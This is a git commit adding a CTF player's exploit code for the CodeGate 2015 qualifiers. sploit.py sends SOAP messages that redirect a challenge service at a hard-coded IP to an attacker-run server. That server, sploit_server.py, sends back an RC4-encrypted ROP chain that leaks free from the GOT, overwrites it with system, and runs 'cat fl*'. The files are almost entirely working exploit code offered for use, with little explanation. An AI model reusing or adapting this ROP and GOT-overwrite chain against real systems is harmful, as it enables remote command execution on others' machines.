Add CodeGate 2015 Quals stuff

This commit is contained in:
q3k 2015-03-15 21:20:11 +01:00
parent 14a3f0ed6a
commit 705195ecac
5 changed files with 204 additions and 0 deletions

10
CGQ2015/decrypt.py Normal file
View file

@ -0,0 +1,10 @@
import sys
# This decryps using pre-generated RC4 key bitstream
key = open('xorkey').read()
enc = open(sys.argv[1]).read()
for i, c in enumerate(enc):
sys.stdout.write(chr(ord(c)^ord(key[i])))

53
CGQ2015/sploit.py Normal file
View file

@ -0,0 +1,53 @@
# Change SERVER and PORT to somethinf where sploit_server.py runs
d1 = """<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body xmlns:ns="urn:oam"><ns:getversion></ns:getversion></soap:Body></soap:Envelope>
<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body xmlns:ns="urn:oam"><ns:setconf><value xsi:type="xsd:string">aaaa
SERVER=93.115.90.171
PORT=12345
LOGFILE=/proc/self/cmdline</value></ns:setconf></soap:Body></soap:Envelope>
<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body xmlns:ns="urn:oam"><ns:reset></ns:reset></soap:Body></soap:Envelope>"""
d2 = """<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body xmlns:ns="urn:oam"><ns:echotest></ns:echotest></soap:Body></soap:Envelope>"""
import socket
import time
s = socket.socket()
s.connect(('54.178.148.88', 7547))
#s.connect(('127.0.0.1', 7547))
time.sleep(1)
#s.sendall("file oam\nr\n")
#time.sleep(1)
#print s.recv(2048)
s.sendall(d1)
import time
time.sleep(1)
print s.recv(2048)
s.sendall(d2)
time.sleep(1)
d3 = s.recv(2048)
free = d3[-8:]
import struct
free, = struct.unpack('<Q', free)
print hex(free)
#0000000000082df0 g DF .text 00000000000000f5 GLIBC_2.2.5 free
#0000000000046640 w DF .text 000000000000002d GLIBC_2.2.5 system
#diff = 251200
diff = 0x82df0 - 0x46640
free2 = free - diff
print hex(free2)
s.sendall('cat fl*\x00') # max 8 bytes, change in READ call in sploit_server.py
time.sleep(1)
print s.recv(2048)
time.sleep(1)
s.sendall(struct.pack('<Q', free2))
time.sleep(1)
print s.recv(2048)
print s.recv(2048)

135
CGQ2015/sploit_server.py Normal file
View file

@ -0,0 +1,135 @@
import socket
import struct
import pwn
#RC4 Implementation
def rc4_crypt( data , key ):
S = range(256)
j = 0
out = []
#KSA Phase
for i in range(256):
j = (j + S[i] + ord( key[i % len(key)] )) % 256
S[i] , S[j] = S[j] , S[i]
#PRGA Phase
i = j = 0
for char in data:
i = ( i + 1 ) % 256
j = ( j + S[i] ) % 256
S[i] , S[j] = S[j] , S[i]
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
return ''.join(out)
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 12345))
s.listen(100)
#0x00402845: add rsp, 0x68 ; pop rbx ; pop rbp ; ret ; (1 found)
ADD_RSP_68_POP_POP_RET = 0x00402845
# 0x00402994: add rsp, 0x0000000000000338 ; pop rbx ; pop rbp ; ret ; (1 found)
ADD_RSP_338_POP_POP_RET = 0x00402994
# 0x00402849: pop rbx ; pop rbp ; ret ; (28 found)
POP_POP_RET = 0x00402849
# 0x0040a043: pop rdi ; ret ; (1 found)
POP_RDI = 0x0040a043
# 0x0040a041: pop rsi ; pop r15 ; ret ; (1 found)
POP_RSI_R15 = 0x0040a041
# .got.plt _read
READ = 0x401B60
# .got.plt write
WRITE = 0x401A80
#0x0040a020: mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found)
RDX_SHIT = 0x0040a020
# 0x0040a03a: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found)
POP_MANY = 0x0040a03a
# 0x0040a055: sub esp, 0x08 ; add rsp, 0x08 ; ret ; (1 found)
ADD_RSP_8_POP = 0x0040a055
# 0x00401fad: call rax ; (3 found)
CALL_RAX = 0x00401fad
# 0x0040c18b: call qword [rdi+0x00] ; (2 found)
CALL_RDI = 0x0040c18b
# 0x00401f15: pop rbp ; ret ; (59 found)
POP_RBP = 0x00401f15
# 0x00401fbc: call qword [rbp+0x48] ; (1 found)
CALL_RBP = 0x00401fbc
# htons - useless function, used to studd RDX_SHIT indirect call
HTONS = 0x60d088
# free in .got.plt - we leak this, then override this
LEAK_ADDRESS = 0x60D018
LEAK_LENGTH = 8
# place to keep system arg
SYSTEM_ARG_ADDRESS = LEAK_ADDRESS + 8
SYSTEM_ARG_LENGTH = 8 #change this if you change the sent length in the client
key = 'this_is_preshared_key'
## WRITE 8 BYTES OF GOT.PLT FREE TO STDOUT
sent_buffer = pwn.cyclic(672) + pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(LEAK_LENGTH) + pwn.p64(0) + pwn.p64(0)
sent_buffer += pwn.p64(RDX_SHIT)
sent_buffer += pwn.p64(8) * 7
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(1) + pwn.p64(POP_RSI_R15) + pwn.p64(LEAK_ADDRESS) + pwn.p64(0)
sent_buffer += pwn.p64(WRITE)
## READ SYSTEM ARG TO CLIENT
sent_buffer += pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(SYSTEM_ARG_LENGTH) + pwn.p64(0) + pwn.p64(0)
sent_buffer += pwn.p64(RDX_SHIT)
sent_buffer += pwn.p64(8) * 7
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(0) + pwn.p64(POP_RSI_R15) + pwn.p64(SYSTEM_ARG_ADDRESS) + pwn.p64(0)
sent_buffer += pwn.p64(READ)
## RESEND TO CLIENT FOR DEBUG
sent_buffer += pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(8) + pwn.p64(0) + pwn.p64(0)
sent_buffer += pwn.p64(RDX_SHIT)
sent_buffer += pwn.p64(8) * 7
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(1) + pwn.p64(POP_RSI_R15) + pwn.p64(LEAK_ADDRESS+8) + pwn.p64(0)
sent_buffer += pwn.p64(WRITE)
## OVERRIDE FREE IN PLT WITH SYSTEM CALCULATED BY CLIENT
sent_buffer += pwn.p64(POP_MANY) + pwn.p64(0xFFFFFFFFFFFFFFFF) + pwn.p64(0) + pwn.p64(0x60d088) + pwn.p64(LEAK_LENGTH) + pwn.p64(0) + pwn.p64(0)
sent_buffer += pwn.p64(RDX_SHIT)
sent_buffer += pwn.p64(8) * 7
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(0) + pwn.p64(POP_RSI_R15) + pwn.p64(LEAK_ADDRESS) + pwn.p64(0)
sent_buffer += pwn.p64(READ)
## CALL OVERRIDDEN FREE/SYSTEM
sent_buffer += pwn.p64(POP_RDI) + pwn.p64(LEAK_ADDRESS+8)
sent_buffer += pwn.p64(POP_RBP) + pwn.p64(LEAK_ADDRESS-0x48)
sent_buffer += pwn.p64(CALL_RBP)
## Crash the thing. This is tricky - basically I fuzzed gSOAP to a call [rax], where RAX was from the buffer at offset 50248. Then we stackpivot into the beggining of the buffer, to our ropchain (at the 672th offset in the buffer)
sent_buffer += pwn.cyclic(50248-len(sent_buffer)) + struct.pack("<Q", ADD_RSP_338_POP_POP_RET)
left = 0x10000 - len(sent_buffer)
cy = pwn.cyclic(50248+left)[50248:]
sent_buffer += cy
sent_buffer = rc4_crypt(sent_buffer, key)
while True:
cs, a = s.accept()
print "Connection from", a
cmd = cs.recv(4)
print cmd
if cmd == "ECHO":
# Pwn!
l, = struct.unpack("<L", cs.recv(4))
print l
data = cs.recv(l)
print data.encode('hex')
cs.send(struct.pack("<L", 0x10000))
cs.sendall(sent_buffer)
if cmd == "UPLD":
# Dump uploaded file, to be decrypted by client
l, = struct.unpack("<L", cs.recv(4))
print l
data = cs.recv(l)
f = open('bin', 'w')
f.write(data)
f.close()

6
CGQ2015/their-conf.bak Normal file
View file

@ -0,0 +1,6 @@
VERSION=1.0.0
SERVER=127.0.0.1
PORT=7788
LOGFILE=auth.log
LOGLEV=5
ENCKEY=this_is_preshared_key

BIN
CGQ2015/xorkey Normal file

Binary file not shown.